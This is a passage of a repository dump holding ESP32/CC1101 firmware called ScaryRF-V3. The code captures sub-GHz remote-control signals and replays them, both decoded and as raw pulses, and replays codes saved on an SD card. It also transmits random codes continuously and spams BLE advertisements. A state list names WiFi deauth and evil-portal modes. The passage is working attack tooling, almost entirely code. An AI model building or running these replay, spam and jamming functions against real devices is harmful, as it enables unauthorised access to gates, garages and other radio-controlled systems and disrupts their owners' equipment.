1;\n\n  while (!btnUp.isPressed()) {\n    delay(BLE_SPAM_DELAY);\n\n    u8g2.clearBuffer();\n    u8g2.setCursor(0, 10);\n    u8g2.print(\"AppleSour...\");\n    u8g2.setCursor(0, 20);\n    u8g2.print(bleCounter);\n    bleCounter++;\n    u8g2.sendBuffer();\n\n    NimBLEAdvertisementData advertisementData = getOAdvertisementData();\n    pAdvertising->setAdvertisementData(advertisementData);\n    pAdvertising->start();\n    delay(20);\n    pAdvertising->stop();\n  }\n  NimBLEDevice::deinit();\n}\n"
  },
  {
    "path": "ScaryRF-V3/Radiofreq.ino",
    "content": "// ==================== VARIÁVEIS DE RAW CAPTURE ====================\n#define MAX_SAMPLES 800\n\nstruct RawCapture {\n  volatile unsigned long rawData[MAX_SAMPLES];\n  volatile unsigned int dataPoints = 0;\n  volatile unsigned long lastTime = 0;\n  volatile bool signalState = false;\n};\n\nRawCapture rawCapture;\n\n// ==================== FUNÇÃO DETECT (REPLAY) ====================\nvoid Detect() {\n  // Inicializa receptor\n  mySwitch.enableReceive(RX_PIN);\n  ELECHOUSE_cc1101.SetRx();\n\n  // Mensagem inicial\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 10);\n  u8g2.print(\"Waiting Signal...\");\n  u8g2.drawHLine(0, 40, 128);\n  u8g2.setCursor(0, 50);\n  u8g2.print(\"[OK]Send  [^]Exit\");\n  u8g2.setCursor(0, 60);\n  u8g2.print(\"[v]Save  [<]Saved\");\n  u8g2.sendBuffer();\n\n  while (true) {\n\n    // === SAÍDA COM UP ===\n    if (btnUp.isPressed()) {\n      break; // sai do loop imediatamente\n    }\n\n    // Atualiza frequência dinamicamente\n    float newMhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92;\n    if (newMhz != rfData.mhz) {\n      rfData.mhz = newMhz;\n      ELECHOUSE_cc1101.setMHZ(rfData.mhz);\n      ELECHOUSE_cc1101.SetRx();\n    }\n\n    // === DETECÇÃO CONTÍNUA ===\n    if (mySwitch.available()) {\n      unsigned long value = mySwitch.getReceivedValue();\n      int bits = mySwitch.getReceivedBitlength();\n      int proto = mySwitch.getReceivedProtocol();\n\n      if (value != 0) {\n        rfData.receivedValue = value;\n        rfData.receivedBitLength = bits;\n        rfData.receivedProtocol = proto;\n\n        u8g2.clearBuffer();\n        u8g2.setCursor(0, 10);\n        u8g2.print(\"Received Signal:\");\n        u8g2.setCursor(0, 20);\n        u8g2.print(rfData.receivedValue);\n        u8g2.setCursor(0, 30);\n        u8g2.printf(\"Bit:%d Ptc:%d\", bits, proto);\n        u8g2.setCursor(0, 40);\n        u8g2.print(\"[OK][^][v][<]\");\n        u8g2.sendBuffer();\n      }\n\n      mySwitch.resetAvailable();\n    }\n\n    // === REPLAY ===\n    if (btnOk.isPressed() && rfData.receivedValue != 0) {\n      mySwitch.disableReceive();\n      mySwitch.enableTransmit(TX_PIN);\n      ELECHOUSE_cc1101.SetTx();\n\n      mySwitch.setProtocol(rfData.receivedProtocol);\n      mySwitch.send(rfData.receivedValue, rfData.receivedBitLength);\n\n      delay(200);\n\n      ELECHOUSE_cc1101.SetRx();\n      mySwitch.disableTransmit();\n      mySwitch.enableReceive(RX_PIN);\n    }\n    if (btnDown.isPressed()) {\n      saveSignal();\n    }\n    if (btnLeft.isPressed()) {\n      Saved();\n      u8g2.sendBuffer();//teste\n    }\n\n    delay(10);\n  }\n\n  // === LIMPEZA FINAL ===\n  mySwitch.disableReceive();\n\n  // Limpa a tela antes de voltar ao menu\n  u8g2.clearBuffer();\n  u8g2.sendBuffer();\n}\n\n// ================= SAVED =================\nvoid Saved() {\n  File dir = SD.open(\"/Subghz\");\n  if (!dir || !dir.isDirectory()) {\n    showMessage(\"No Subghz dir\");\n    delay(800);\n    return;\n  }\n\n  // Guarda caminhos completos\n  String files[30];\n  int count = 0;\n\n  while (true) {\n    File entry = dir.openNextFile();\n    if (!entry) break;\n\n    if (!entry.isDirectory()) {\n      files[count++] = String(entry.name()); // caminho completo\n      if (count >= 30) break;\n    }\n    entry.close();\n  }\n  dir.close();\n\n  if (count == 0) {\n    showMessage(\"No files\");\n    delay(800);\n    return;\n  }\n\n  int sel = 0;\n\n  while (true) {\n    u8g2.clearBuffer();\n\n    for (int i = 0; i < 6; i++) {\n      int idx = (sel / 6) * 6 + i;\n      if (idx >= count) break;\n\n      // Remove pasta do nome\n      String name = files[idx];\n      int slash = name.lastIndexOf('/');\n      if (slash >= 0) name = name.substring(slash + 1);\n\n      if (idx == sel) u8g2.drawStr(0, 12 + i * 10, \">\");\n      u8g2.drawStr(10, 12 + i * 10, name.c_str());\n    }\n\n    u8g2.sendBuffer();\n\n    if (btnLeft.isPressed()) {\n      return;\n    }\n\n    if (btnRight.isPressed()) {\n      String path = files[sel];\n      if (deleteFile(path)) {\n        return;\n      }\n    }\n\n    if (btnDown.isPressed()) {\n      sel = (sel + 1) % count;\n      delay(150);\n    }\n\n    if (btnUp.isPressed()) {\n      sel = (sel - 1 + count) % count;\n      delay(150);\n    }\n\n    if (btnOk.isPressed()) {\n      File f = SD.open(files[sel], FILE_READ);\n      if (!f) {\n        showMessage(\"Open error\");\n        delay(500);\n        continue;\n      }\n\n      // Espera formato: name;mhz;protocol;bits;value\n      char name[16];\n      float mhz;\n      int proto, bits;\n      unsigned long val;\n\n      String line = f.readStringUntil('\\n');\n      f.close();\n\n      if (sscanf(line.c_str(), \"%[^;];%f;%d;%d;%lu\",\n                 name, &mhz, &proto, &bits, &val) != 5) {\n        showMessage(\"Parse error\");\n        delay(500);\n        continue;\n      }\n\n      // Transmissão\n      ELECHOUSE_cc1101.setMHZ(mhz);\n      mySwitch.disableReceive();\n      mySwitch.enableTransmit(TX_PIN);\n      ELECHOUSE_cc1101.SetTx();\n\n      u8g2.clearBuffer();\n      u8g2.drawStr(0, 30, \"TRANSMITTING...\");\n      u8g2.sendBuffer();\n\n      mySwitch.setProtocol(proto);\n      mySwitch.send(val, bits);\n\n      delay(400);\n\n      mySwitch.disableTransmit();\n      ELECHOUSE_cc1101.SetRx();\n      mySwitch.enableReceive(RX_PIN);\n    }\n  }\n}\n\n// ==================== FUNÇÃO RAW CAPTURE ====================\nvoid showCaptureInfo(float frequency, int rssi, int sampleCount) {\n  u8g2.clearBuffer();\n  u8g2.setFont(u8g2_font_6x10_tf);\n  u8g2.drawUTF8(0, 10, \"Signal Captured\");\n  u8g2.drawHLine(0, 12, 128);\n\n  u8g2.setCursor(0, 25);\n  u8g2.print(\"Freq: \");\n  u8g2.print(frequency, 2);\n  u8g2.print(\" MHz\");\n\n  u8g2.setCursor(0, 37);\n  u8g2.print(\"Power: \");\n  u8g2.print(rssi);\n  u8g2.print(\" dBm\");\n\n  u8g2.setCursor(0, 49);\n  u8g2.print(\"Samples: \");\n  u8g2.print(sampleCount);\n\n  u8g2.setFont(u8g2_font_5x7_tf);\n  u8g2.setCursor(0, 63);\n  u8g2.print(\"DIR:Repeat | DOWN:New\");\n\n  u8g2.sendBuffer();\n}\n\nvoid retransmitSignal(float mhz) {\n  ELECHOUSE_cc1101.SetTx();\n  delay(15);\n\n  bool txState = HIGH;\n  digitalWrite(TX_PIN, txState);\n\n  for (unsigned int i = 0; i < rawCapture.dataPoints; i++) {\n    unsigned long pulseDuration = rawCapture.rawData[i];\n    unsigned long startTime = micros();\n\n    delayMicroseconds(pulseDuration - 12);\n    txState = !txState;\n    digitalWrite(TX_PIN, txState);\n\n    while (micros() - startTime < pulseDuration) {}\n  }\n\n  digitalWrite(TX_PIN, LOW);\n  ELECHOUSE_cc1101.SetRx();\n\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 25);\n  u8g2.print(\"Freq: \");\n  u8g2.print(mhz, 2);\n  u8g2.print(\" MHz\");\n\n  u8g2.setCursor(0, 37);\n  u8g2.print(\"Signal retransmitted!\");\n\n  u8g2.setCursor(0, 63);\n  u8g2.print(\"DIR:Repeat | OK:New\");\n\n  delay(300);\n}\n\nvoid Raw() {\n  bool exitall = false;\n  while (!exitall) {\n    float mhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92;\n    ELECHOUSE_cc1101.setMHZ(mhz);\n    ELECHOUSE_cc1101.SetRx();\n\n    // Aguarda botão de captura\n    u8g2.clearBuffer();\n    u8g2.setCursor(0, 20);\n    u8g2.print(\"Press [OK] to capture\");\n    u8g2.sendBuffer();\n\n    while (!btnOk.isPressed()) {\n      delay(10);\n      if (btnUp.isPressed()) {\n        exitall = true;\n        break;\n      }\n    }\n\n    // Prepara nova captura\n    rawCapture.dataPoints = 0;\n    rawCapture.lastTime = 0;\n    rawCapture.signalState = false;\n\n    // Setup interrupt\n    attachInterrupt(digitalPinToInterrupt(RX_PIN), [] {\n      unsigned long now = micros();\n      if (rawCapture.lastTime > 0) {\n        unsigned long duration = now - rawCapture.lastTime;\n        if (duration > 20 && duration < 100000 && rawCapture.dataPoints < MAX_SAMPLES) {\n          unsigned int currentPoints = rawCapture.dataPoints;\n          rawCapture.rawData[currentPoints] = duration;\n          rawCapture.dataPoints = currentPoints + 1;\n          rawCapture.signalState = !rawCapture.signalState;\n        }\n      }\n      rawCapture.lastTime = now;\n    }, CHANGE);\n\n    // Loop de captura com waveform\n    int i = 1;\n    while (btnOk.isHeld() && !btnUp.isPressed()) {\n      if (i == 1) {\n        u8g2.clearBuffer();\n      }\n      // Verifica mudança de frequência\n      float newMhz = (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) ? 315.00 : 433.92;\n      if (newMhz != mhz) {\n        mhz = newMhz;\n        ELECHOUSE_cc1101.setMHZ(mhz);\n        ELECHOUSE_cc1101.SetRx();\n      }\n\n      // Atualiza waveform\n      int rssi = ELECHOUSE_cc1101.getRssi();\n      waveform[i] = map(rssi, -100, -40, 0, 1023);\n\n      // Display info\n      u8g2.setCursor(0, 7);\n      u8g2.print(mhz, 2);\n      u8g2.print(\"MHz \");\n      u8g2.print(rssi);\n      u8g2.print(\"dBm\");\n      u8g2.drawHLine(0, 12, 128);\n\n      // Desenha waveform\n      int prevY = map(waveform[i - 1], 0, 1023, SCREEN_HEIGHT - 20, 8);\n      int currY = map(waveform[i], 0, 1023, SCREEN_HEIGHT - 20, 8);\n      u8g2.drawLine(i - 1, prevY, i, currY);\n      u8g2.sendBuffer();\n\n      i++;\n      if (i >= SCREEN_WIDTH) {\n        u8g2.clearBuffer();\n        i = 1;\n      }\n\n      delay(30);\n    }\n\n    // Finaliza captura\n    detachInterrupt(digitalPinToInterrupt(RX_PIN));\n\n    // Processa resultados\n    if (rawCapture.dataPoints > 0) {\n      showCaptureInfo(mhz, ELECHOUSE_cc1101.getRssi(), rawCapture.dataPoints);\n\n      // Loop de retransmissão múltipla\n      while (!btnUp.isPressed()) {\n        if (btnOk.isPressed()) {\n          break; // Sai para nova captura\n        }\n\n        if (btnRight.isPressed()) {\n          retransmitSignal(mhz);\n        }\n\n        delay(10);\n      }\n    } else if (!exitall) {\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 30);\n      u8g2.print(\"No signal captured!\");\n      u8g2.sendBuffer();\n      delay(1000);\n    }\n  }\n}\n\n// ==================== FUNÇÃO ANALYSER ====================\nvoid Analyser() {\n  u8g2.clearBuffer();\n  u8g2.setCursor(0, 20);\n  u8g2.print(\"Analyzing...\");\n  u8g2.sendBuffer();\n\n  bool exitAnalyser = false;\n\n  while (!exitAnalyser) {\n    int rssi;\n    uint32_t detectedFrequency = 0;\n    int detectedRssi = -100;\n\n    // Sai imediatamente se UP for pressionado\n    if (btnUp.isPressed()) {\n      exitAnalyser = true;\n      break;\n    }\n\n    // Varre lista de frequências\n    for (size_t i = 0; i < sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); i++) {\n      uint32_t frequency = subghz_frequency_list[i];\n\n      if (btnUp.isPressed()) { // Verificação a cada frequência\n        exitAnalyser = true;\n        break;\n      }\n\n      ELECHOUSE_cc1101.setMHZ((float)frequency / 1000000.0);\n      ELECHOUSE_cc1101.SetRx();\n      delayMicroseconds(3500);\n      rssi = ELECHOUSE_cc1101.getRssi();\n\n      if (rssi >= rfData.rssi_threshold && rssi > detectedRssi) {\n        detectedRssi = rssi;\n        detectedFrequency = frequency;\n      }\n    }\n\n    if (exitAnalyser) break; // Sai do loop principal\n\n    // Mostra sinal detectado, se houver\n    if (detectedFrequency != 0) {\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Signal detected:\");\n      u8g2.setCursor(0, 20);\n      u8g2.printf(\"Frequency:%.2fMHz\", (float)detectedFrequency / 1000000.0);\n      u8g2.setCursor(0, 30);\n      u8g2.printf(\"RSSI:%ddBm\", detectedRssi);\n      u8g2.sendBuffer();\n      detectedFrequency = 0;\n    }\n\n    delay(600);\n  }\n\n  // Limpeza final ao sair\n  ELECHOUSE_cc1101.SetRx();\n  mySwitch.disableTransmit();\n  delay(100);\n  mySwitch.enableReceive(RX_PIN);\n\n  u8g2.clearBuffer();\n  u8g2.sendBuffer();\n}\n\n\n// ==================== FUNÇÃO SEND RANDOM ====================\nvoid SendRandom() {\n  showMessage(\"Press BTN to\", \"send random\");\n\n  bool exitSend = false;\n\n  while (!exitSend) {\n    // Sai se UP for pressionado\n    if (btnUp.isPressed()) {\n      exitSend = true;\n      break;\n    }\n\n    // Envia enquanto OK estiver pressionado\n    while (btnOk.isHeld()) {\n      if (digitalRead(FREQUENCY_SWITCH_PIN) == LOW) {\n        ELECHOUSE_cc1101.setMHZ(315);\n        rfData.mhz = 315.00;\n      } else {\n        ELECHOUSE_cc1101.setMHZ(433.92);\n        rfData.mhz = 433.92;\n      }\n\n      unsigned long randomValue = 100000000 + random(900000000);\n      int randomBitLength = (rfData.mhz == 315.00) ? 24 : 28;\n      int randomProtocol = random(12);\n\n      mySwitch.disableReceive();\n      delay(50); // pequeno delay para estabilidade\n      mySwitch.enableTransmit(TX_PIN);\n      ELECHOUSE_cc1101.SetTx();\n\n      // Exibe mensagem de envio\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Sending Random:\");\n      u8g2.setCursor(0, 20);\n      u8g2.print(randomValue);\n      u8g2.setCursor(0, 30);\n      u8g2.print(randomProtocol);\n      u8g2.setCursor(0, 40);\n      u8g2.print(\"Sending...\");\n      u8g2.sendBuffer();\n\n      // Envia o valor\n      mySwitch.setProtocol(randomProtocol);\n      mySwitch.send(randomValue, randomBitLength);\n\n      // Confirma envio\n      u8g2.clearBuffer();\n      u8g2.setCursor(0, 10);\n      u8g2.print(\"Sending Random:\");\n      u8g2.setCursor(0, 20);\n      u8g2.print(randomValue);\n      u8g2.setCursor(0, 30);\n      u8g2.print(\"OK\");\n      u8g2.sendBuffer();\n\n      // Retorna para recepção\n      ELECHOUSE_cc1101.SetRx();\n      mySwitch.disableTransmit();\n      delay(50);\n      mySwitch.enableReceive(RX_PIN);\n\n      delay(50); // pequena pausa entre envios para estabilidade, mas quase contínuo\n    }\n\n    delay(10); // Verificação de UP ou OK\n  }\n\n  // Limpeza final ao sair\n  u8g2.clearBuffer();\n  u8g2.sendBuffer();\n}\n"
  },
  {
    "path": "ScaryRF-V3/ScaryRF-V3.ino",
    "content": "#include <U8g2lib.h>\n#include <ELECHOUSE_CC1101_SRC_DRV.h>\n#include <RCSwitch.h>\n#include <NimBLEDevice.h>\n#include <WiFi.h>\n#include <esp_wifi.h>\n\n#include <SPI.h>\n#include <SD.h>\n\n#ifdef U8X8_HAVE_HW_I2C\n#include <Wire.h>\n#endif\n\n// ==================== CONFIGURAÇÕES DE PINOS ====================\n#define RX_PIN 4\n#define TX_PIN 2\n\n// SD (HSPI)\n#define SD_CS 17\n#define SD_MISO 34\n#define SD_MOSI 13\n#define SD_SCK 14\n\n// Botoes\n#define FREQUENCY_SWITCH_PIN 12\n#define BTN_UP     27\n#define BTN_LEFT   26\n#define BTN_DOWN   25\n#define BTN_OK     33\n#define BTN_RIGHT  32\n\n#define SCREEN_WIDTH 128\n#define SCREEN_HEIGHT 64\n\n// ==================== CONFIGURAÇÕES DE TEMPORIZAÇÃO ====================\n#define DEBOUNCE_DELAY 10\n#define DISPLAY_UPDATE_INTERVAL 50\n\n// ==================== OBJETOS GLOBAIS ====================\nU8G2_SH1106_128X64_NONAME_F_HW_I2C u8g2(U8G2_R0, U8X8_PIN_NONE);\nRCSwitch mySwitch = RCSwitch();\nSPIClass hspi(HSPI);\n\n// ==================== ESTADOS DO SISTEMA ====================\nenum SystemState {\n  STATE_MENU,\n  STATE_RF_REPLAY,\n  STATE_RF_RAW,\n  STATE_RF_ANALYSER,\n  STATE_RF_RANDOM,\n  STATE_WIFI_DEAUTH,\n  STATE_WIFI_EVIL_PORTAL,\n  STATE_BLE_SPAM\n};\n\nSystemState currentSystemState = STATE_MENU;\n\n// ==================== VARIÁVEIS GLOBAIS DE RF ====================\nstruct RFData {\n  unsigned long receivedValue = 0;\n  int receivedBitLength = 0;\n  int receivedProtocol = 0;\n  float mhz = 433.92;\n  const int rssi_threshold = -75;\n};\n\nRFData rfData;\n\n// ==================== FREQUÊNCIAS SUB-GHZ ====================\nstatic const uint32_t subghz_frequency_list[] = {\n  300000000, 303875000, 304250000, 310000000, 315000000, 318000000,\n  390000000, 418000000, 433075000, 433420000, 433920000, 434420000,\n  434775000, 438900000, 868350000, 915000000, 925000000\n};\n\n// ==================== WAVEFORM ====================\n#define WAVEFORM_SAMPLES 128\nint waveform[WAVEFORM_SAMPLES] = {0};\n\n// ==================== BITMAP DA TELA INICIAL ====================\n#define scary_width 128\n#define scary_height 64\nunsigned const char scary_bits[] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0x8F, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x3F, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0x1F, 0xE0, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0xC0, 0x07, 0x00, 0xFE, 0xFF, 0x0F,\n                                     0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03, 0x00, 0x03, 0x00,\n                                     0xFF, 0xFF, 0x07, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x03,\n                                     0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0x87, 0x00, 0x06, 0x00, 0xFF, 0xFF, 0x03, 0xE0, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x87, 0x05, 0x06, 0x10, 0xFF, 0xFF, 0x01, 0xE1,\n                                     0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xCF, 0x9F, 0xFF, 0x87, 0x0D, 0x06, 0xBE, 0xFF,\n                                     0xFF, 0x81, 0xE3, 0xDF, 0xF9, 0xFF, 0x80, 0xFB, 0xE3, 0xC7, 0xFF, 0x87, 0x0D,\n                                     0x06, 0xBE, 0xFF, 0xFF, 0xC1, 0xE7, 0x07, 0xE8, 0xF3, 0x80, 0xF1, 0xE0, 0xE1,\n                                     0xFF, 0x87, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC0, 0xFF, 0x03, 0xC8, 0xE0, 0x03,\n                                     0x60, 0x60, 0xE0, 0xFF, 0x83, 0x0F, 0x06, 0xFF, 0xFF, 0xFF, 0xC1, 0xFF, 0x00,\n                                     0x0C, 0x80, 0x03, 0xC0, 0xE0, 0xE0, 0xFF, 0x83, 0x0F, 0x07, 0xFF, 0xFF, 0xFF,\n                                     0x01, 0xFE, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0xE0, 0xE1, 0xFF, 0x87, 0x07, 0x07,\n                                     0xF7, 0xFF, 0xFF, 0x01, 0xFC, 0x20, 0x0C, 0x00, 0x83, 0xC0, 0xE0, 0xE1, 0xFF,\n                                     0x83, 0x03, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0xF8, 0x30, 0x0C, 0x06, 0x83, 0xC1,\n                                     0xE0, 0xC1, 0xFF, 0x83, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0x03, 0x70, 0xB0, 0x0C,\n                                     0x07, 0x83, 0xC1, 0xE0, 0xC1, 0xFF, 0x87, 0x80, 0x07, 0xF0, 0xFF, 0xFF, 0x03,\n                                     0x60, 0xF0, 0x8C, 0x03, 0x83, 0xC1, 0xE0, 0xE1, 0xFF, 0x07, 0xC0, 0x07, 0xF0,\n                                     0xFF, 0xFF, 0xEF, 0x60, 0xF8, 0xE6, 0x00, 0x83, 0xE1, 0xE0, 0xE1, 0xFF, 0x07,\n                                     0xC0, 0x07, 0xF0, 0xFF, 0xFF, 0xEF, 0x61, 0xF8, 0x3E, 0x00, 0x83, 0xE3, 0xE0,\n                                     0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF0, 0xFF, 0xFF, 0xFF, 0x21, 0xF8, 0x1E, 0x00,\n                                     0x83, 0xE3, 0xE1, 0xE1, 0xFF, 0x03, 0x00, 0x07, 0xF3, 0xFF, 0xFF, 0xFF, 0x01,\n                                     0xF8, 0x0F, 0x0C, 0x83, 0xFB, 0xE0, 0xE1, 0xFF, 0x83, 0x03, 0x07, 0xF3, 0xFF,\n                                     0xFF, 0xFF, 0x01, 0xF8, 0x0F, 0x0E, 0x83, 0xFF, 0xF0, 0xE1, 0xFF, 0x83, 0x07,\n                                     0x0F, 0xF7, 0xFF, 0xFF, 0xF7, 0x01, 0xF8, 0x05, 0x0F, 0x83, 0xFB, 0xE0, 0xE1,\n                                     0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x63, 0x00, 0xF8, 0x85, 0x0F, 0xC3,\n                                     0xFF, 0x60, 0xE0, 0xFF, 0x83, 0x07, 0x0F, 0xFF, 0xFF, 0xFF, 0x43, 0x60, 0xF0,\n                                     0x84, 0x0F, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x07, 0x07, 0x0F, 0xFF, 0xFF, 0xFF,\n                                     0x43, 0x60, 0xF0, 0x0C, 0x0B, 0xC3, 0xFF, 0x00, 0xE0, 0xFF, 0x03, 0x87, 0x0F,\n                                     0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x03, 0xC3, 0xFF, 0x03, 0xE0, 0xFF,\n                                     0x03, 0x87, 0x0F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x00, 0x0C, 0x00, 0xE3, 0xFF,\n                                     0x0F, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03, 0xF0, 0x01, 0x0C,\n                                     0x00, 0xE2, 0xFF, 0x0E, 0xE0, 0xFF, 0x03, 0x87, 0x8F, 0xFF, 0xFF, 0xFF, 0x03,\n                                     0xF4, 0x07, 0x1C, 0x00, 0xEA, 0xFF, 0xDE, 0xE0, 0xFF, 0x01, 0x87, 0x0F, 0xFF,\n                                     0xFF, 0xFF, 0x0F, 0xF6, 0x0F, 0x1C, 0x2E, 0xF8, 0xFF, 0xDC, 0xE0, 0xFF, 0x00,\n                                     0x86, 0x8F, 0xFF, 0xFF, 0xFF, 0x1F, 0xFF, 0x6F, 0xBC, 0xAF, 0xFB, 0xFF, 0xFC,\n                                     0xE0, 0xFF, 0xFF, 0xC7, 0x8F, 0xFF, 0xFF, 0xFF, 0x9F, 0xFF, 0x7F, 0xBC, 0xFF,\n                                     0xFB, 0xFF, 0x78, 0xF0, 0xFF, 0xFF, 0xC7, 0xDF, 0xFF, 0xFF, 0xFF, 0xDF, 0xFF,\n                                     0xFF, 0xFC, 0xFF, 0xFF, 0xFF, 0x30, 0xF8, 0xFF, 0xFF, 0xCF, 0xDF, 0xFF, 0xFF,\n                                     0xFF, 0xDF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC, 0xFF, 0xFF, 0xEF,\n                                     0xDF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF, 0xFF, 0x00, 0xFC,\n                                     0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xFF, 0xFF,\n                                     0xFF, 0x00, 0xFD, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0x04, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x0E, 0xFF, 0xFF, 0xFF, 0xEF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBE, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00,\n                                     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0x7F, 0xFE,\n                                     0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFD, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFC, 0x7F, 0xFF, 0xFF, 0xFF, 0xFC, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x87, 0xFC, 0xFF, 0xFF, 0xFC, 0x7F,\n                                     0x3F, 0xF8, 0x87, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x04, 0x04,\n                                     0x80, 0x0F, 0x60, 0xDF, 0xF1, 0x69, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF,\n                                     0xCF, 0x64, 0x26, 0xF9, 0x65, 0x32, 0xFF, 0xF3, 0x59, 0xFE, 0xFF, 0xFF, 0xFD,\n                                     0x7F, 0xFE, 0xFF, 0xCF, 0x64, 0x26, 0x01, 0x64, 0x32, 0x1F, 0xF2, 0x53, 0xFE,\n                                     0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0x64, 0xA7, 0xBD, 0x64, 0x12, 0x9F,\n                                     0xF9, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF, 0xA4, 0xA7, 0x9F,\n                                     0x64, 0x12, 0x9F, 0xFF, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0xCF,\n                                     0xC4, 0xE6, 0x9B, 0x64, 0x22, 0x9F, 0xF6, 0x53, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F,\n                                     0xFE, 0xFF, 0xC7, 0x64, 0xE6, 0x99, 0x64, 0x22, 0x9F, 0xF2, 0x53, 0xFE, 0xFF,\n                                     0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x8F, 0x66, 0xE6, 0xD9, 0x64, 0x32, 0x9F, 0xF2,\n                                     0x71, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F, 0x02, 0xE3, 0x00, 0x00,\n                                     0x13, 0x9F, 0x32, 0x63, 0xFE, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF, 0xFF, 0x1F, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFB, 0x9F, 0x33, 0x87, 0xFF, 0xFF, 0xFF, 0xFD, 0x7F, 0xFF,\n                                     0xFF, 0xBF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0x0F, 0xA0, 0xDF, 0xFF, 0xFF, 0xFF,\n                                     0xFD, 0x7F, 0xFC, 0xFF, 0xFB, 0xFF, 0xFF, 0xFF, 0xFF, 0xFB, 0xFF, 0xFF, 0xFB,\n                                     0x7F, 0xEF, 0xF7, 0xFC, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,\n                                     0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFE, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF,\n                                     0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 